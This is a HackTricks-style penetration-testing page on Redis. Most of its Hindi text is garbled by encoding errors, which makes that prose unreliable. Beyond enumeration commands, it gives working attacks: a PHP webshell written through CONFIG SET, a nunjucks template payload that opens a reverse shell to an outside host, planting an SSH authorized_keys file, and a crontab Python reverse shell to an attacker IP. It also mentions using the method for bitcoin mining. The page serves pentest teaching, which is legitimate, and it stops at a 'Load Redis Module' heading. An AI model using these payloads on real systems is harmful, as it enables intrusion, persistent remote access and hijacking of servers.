hacktricks/network-services-pentesting/6379-pentesting-redis.md

29 KiB
Raw Blame History

6379 - Pentesting Redis

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information

From the docs: Redis рдПрдХ рдУрдкрди рд╕реЛрд░реНрд╕ (BSD рд▓рд╛рдЗрд╕реЗрдВрд╕ рдкреНрд░рд╛рдкреНрдд), рдЗрди-рдореЗрдореЛрд░реА рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛ рднрдВрдбрд╛рд░ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдбреЗрдЯрд╛рдмреЗрд╕, рдХреИрд╢ рдФрд░ рд╕рдВрджреЗрд╢ рдмреНрд░реЛрдХрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Redis рдПрдХ рдкреНрд▓реЗрди-рдЯреЗрдХреНрд╕реНрдЯ рдЖрдзрд╛рд░рд┐рдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдпрд╣ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдпрд╣ ssl/tls рдХреЛ рднреА рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЬрд╛рдиреЗрдВ рдХрд┐ рдпрд╣рд╛рдВ ssl/tls рдХреЗ рд╕рд╛рде Redis рдХреИрд╕реЗ рдЪрд▓рд╛рдПрдВред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

рдХреБрдЫ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг рдЬреЛ рдПрдХ redis рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration

Banner

Redis рдПрдХ рдкрд╛рда рдЖрдзрд╛рд░рд┐рдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЖрдк рдмрд╕ рд╕реЙрдХреЗрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд▓реМрдЯрд╛рдП рдЧрдП рдорд╛рди рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реЛрдВрдЧреЗред рдпрд╣ рднреА рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ Redis ssl/tls рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪрд▓ рд╕рдХрддрд╛ рд╣реИ (рд▓реЗрдХрд┐рди рдпрд╣ рдмрд╣реБрдд рдЕрдЬреАрдм рд╣реИ)ред

рдПрдХ рдирд┐рдпрдорд┐рдд Redis рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рдмрд╕ nc рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЖрдк redis-cli рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

рдкрд╣рд▓рд╛ рдХрдорд╛рдВрдб рдЬрд┐рд╕реЗ рдЖрдк рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ рд╡рд╣ рд╣реИ infoред рдпрд╣ Redis рдЙрджрд╛рд╣рд░рдг рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдЖрдЙрдЯрдкреБрдЯ рдпрд╛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд▓реМрдЯрд╛ рд╕рдХрддрд╛ рд╣реИ:

-NOAUTH Authentication required.

In this last case, this means that рдЖрдкрдХреЛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ to access the Redis instance.

Redis Authentication

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Redis рдХреЛ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕реЗ рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб, рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо + рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ redis.conf рдлрд╝рд╛рдЗрд▓ рдореЗрдВ requirepass рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░реЗрдВ рдпрд╛ рдЕрд╕реНрдерд╛рдпреА рдЬрдм рддрдХ рд╕реЗрд╡рд╛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЗрд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдХреЗ рдФрд░ рдЪрд▓рд╛рдХрд░: config set requirepass p@ss$12E45ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, redis.conf рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ masteruser рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

{% hint style="info" %} рдпрджрд┐ рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ "default"ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреНрдпрд╛ Redis рдХреЛ рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо + рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред {% endhint %}

рдЗрд╕ рддрд░рд╣ рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдкрдХреЛ Redis рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рддрд╛рдХрд┐ рдЖрдк рдЗрд╕реЗ brute-force рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХреЗрдВред
рдпрджрд┐ рдЖрдкрдиреЗ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкрд╛рдП рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рд╕рддреНрд░ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде:

AUTH <username> <password>

рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрддреНрддрд░ рд╣реЛрдЧрд╛: +OK

рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЧрдгрдирд╛

рдпрджрд┐ Redis рд╕рд░реНрд╡рд░ рдЧреБрдордирд╛рдо рдХрдиреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдпрджрд┐ рдЖрдкрдиреЗ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдП рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдбреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдЧрдгрдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

рдЕрдиреНрдп Redis рдХрдорд╛рдВрдб рдпрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрд╣рд╛рдВ.

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ Redis рдХрдорд╛рдВрдб рдХреЛ рдирд╛рдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ redis.conf рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдкрдВрдХреНрддрд┐ рдХрдорд╛рдВрдб FLUSHDB рдХреЛ рд╣рдЯрд╛ рджреЗрдЧреА:

rename-command FLUSHDB ""

More about configuring securely a Redis service here: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

You can also real time рдореЗрдВ Redis рдХрдорд╛рдВрдбреНрд╕ executed with the command monitor or get the top 25 рд╕рдмрд╕реЗ рдзреАрдореЗ рдХреНрд╡реЗрд░реАрдЬрд╝ with slowlog get 25

Find more interesting information about more Redis commands here: https://lzone.de/cheat-sheet/Redis

Dumping Database

Inside Redis the рдбреЗрдЯрд╛рдмреЗрд╕ 0 рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдирдВрдмрд░ рд╣реИрдВ. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:

Or you can just get all the рдХреАрд╕реНрдкреЗрд╕ (databases) with:

INFO keyspace

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдбреЗрдЯрд╛рдмреЗрд╕ 0 рдФрд░ 1 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдбреЗрдЯрд╛рдмреЗрд╕ 0 рдореЗрдВ 4 рдХреАрдЬрд╝ рд╣реИрдВ рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ 1 рдореЗрдВ 1 рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Redis рдбреЗрдЯрд╛рдмреЗрд╕ 0 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛рдмреЗрд╕ 1 рдХреЗ рд▓рд┐рдП рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

рдпрджрд┐ рдЖрдк GET <KEY> рдЪрд▓рд╛рддреЗ рд╕рдордп рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддреНрд░реБрдЯрд┐ -WRONGTYPE Operation against a key holding the wrong kind of value рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреБрдВрдЬреА рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдпрд╛ рдкреВрд░реНрдгрд╛рдВрдХ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдФрд░ рд╣реЛ рдФрд░ рдЗрд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реЗрд╖ рдСрдкрд░реЗрдЯрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдХреБрдВрдЬреА рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, TYPE рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдиреАрдЪреЗ рд╕реВрдЪреА рдФрд░ рд╣реИрд╢ рдХреБрдВрдЬреА рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдгред

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛рдмреЗрд╕ рдбрдВрдк рдХрд░реЗрдВ redis-dump рдпрд╛ python redis-utils

рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реНрд╕ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ!

рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐
рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

рдЖрдЬ рд╣реА Discord рдкрд░ рд╣рдорд╛рд░реЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ рдФрд░ рд╢реАрд░реНрд╖ рд╣реИрдХрд░реНрд╕ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

Redis RCE

рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓

redis-rogue-server рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Redis(<=5.0.5) рдореЗрдВ рдПрдХ рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдпрд╛ рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

рдпрд╣рд╛рдБ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реАред рдЖрдкрдХреЛ рд╡реЗрдм рд╕рд╛рдЗрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рдкрде рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

тАЛрдпрджрд┐ рд╡реЗрдмрд╢реЗрд▓ рдПрдХреНрд╕реЗрд╕ рдЕрдкрд╡рд╛рдж рд╣реИ, рддреЛ рдЖрдк рдмреИрдХрдЕрдк рдХреЗ рдмрд╛рдж рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЦрд╛рд▓реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╕реЗ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реИред

рдЯреЗрдореНрдкрд▓реЗрдЯ рд╡реЗрдмрд╢реЗрд▓

рдЬреИрд╕реЗ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ, рдЖрдк рдХреБрдЫ html рдЯреЗрдореНрдкрд▓реЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЛ рднреА рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕ рд▓реЗрдЦ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ nunjucks рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдПрдХ rev shell in an html рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдИ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдХреИрд╢ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдирдпрд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдпрд╛ рддреЛ рдбреЗрд╡рд▓рдкрд░ рдиреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреБрдирдГ рд▓реЛрдб рд╕рдХреНрд░рд┐рдп рд░рдЦрд╛ рд╣реИ рдпрд╛ рдЖрдкрдХреЛ рд╕реЗрд╡рд╛ рдкрд░ DoS рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рдФрд░ рдЙрдореНрдореАрдж рдХрд░реЗрдВ рдХрд┐ рдЗрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛)ред {% endhint %}

SSH

Example from here

рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ config get dir рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЕрдиреНрдп рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╢реЛрд╖рдг рдХрдорд╛рдВрдб рдХреЗ рдмрд╛рдж рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИред рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ рдЗрд╕реЗ Redis рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдкрд╣рд▓реЗ рдЪрд▓рд╛рдПрдВред config get dir рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рдЖрдк redis рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ home рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдорддреМрд░ рдкрд░ /var/lib/redis рдпрд╛ /home/redis/.ssh) рдФрд░ рдЗрд╕реЗ рдЬрд╛рдирдХрд░ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк authenticated_users рдлрд╝рд╛рдЗрд▓ рдХреЛ ssh рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ redis рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛рдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдЕрдиреНрдп рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ home рдЬрд╛рдирддреЗ рд╣реИрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рдкрд╛рд╕ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  1. рдЕрдкрдиреЗ рдкреАрд╕реА рдкрд░ рдПрдХ ssh рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ-рдирд┐рдЬреА рдХреБрдВрдЬреА рдЬреЛрдбрд╝реА рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ: ssh-keygen -t rsa
  2. рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦреЗрдВ: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. рдлрд╝рд╛рдЗрд▓ рдХреЛ redis рдореЗрдВ рдЖрдпрд╛рдд рдХрд░реЗрдВ: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Redis рд╕рд░реНрд╡рд░ рдкрд░ authorized_keys рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рд╕рд╣реЗрдЬреЗрдВ:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. рдЕрдВрдд рдореЗрдВ, рдЖрдк рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде redis рд╕рд░реНрд╡рд░ рдкрд░ ssh рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ssh -i id_rsa redis@10.85.0.52

рдпрд╣ рддрдХрдиреАрдХ рдпрд╣рд╛рдВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣реИ: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

рдпрд╣ рд╡рд┐рдзрд┐ рдмрд┐рдЯрдХреЙрдЗрди рдХрдорд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ я╝Ъyam

Load Redis Module

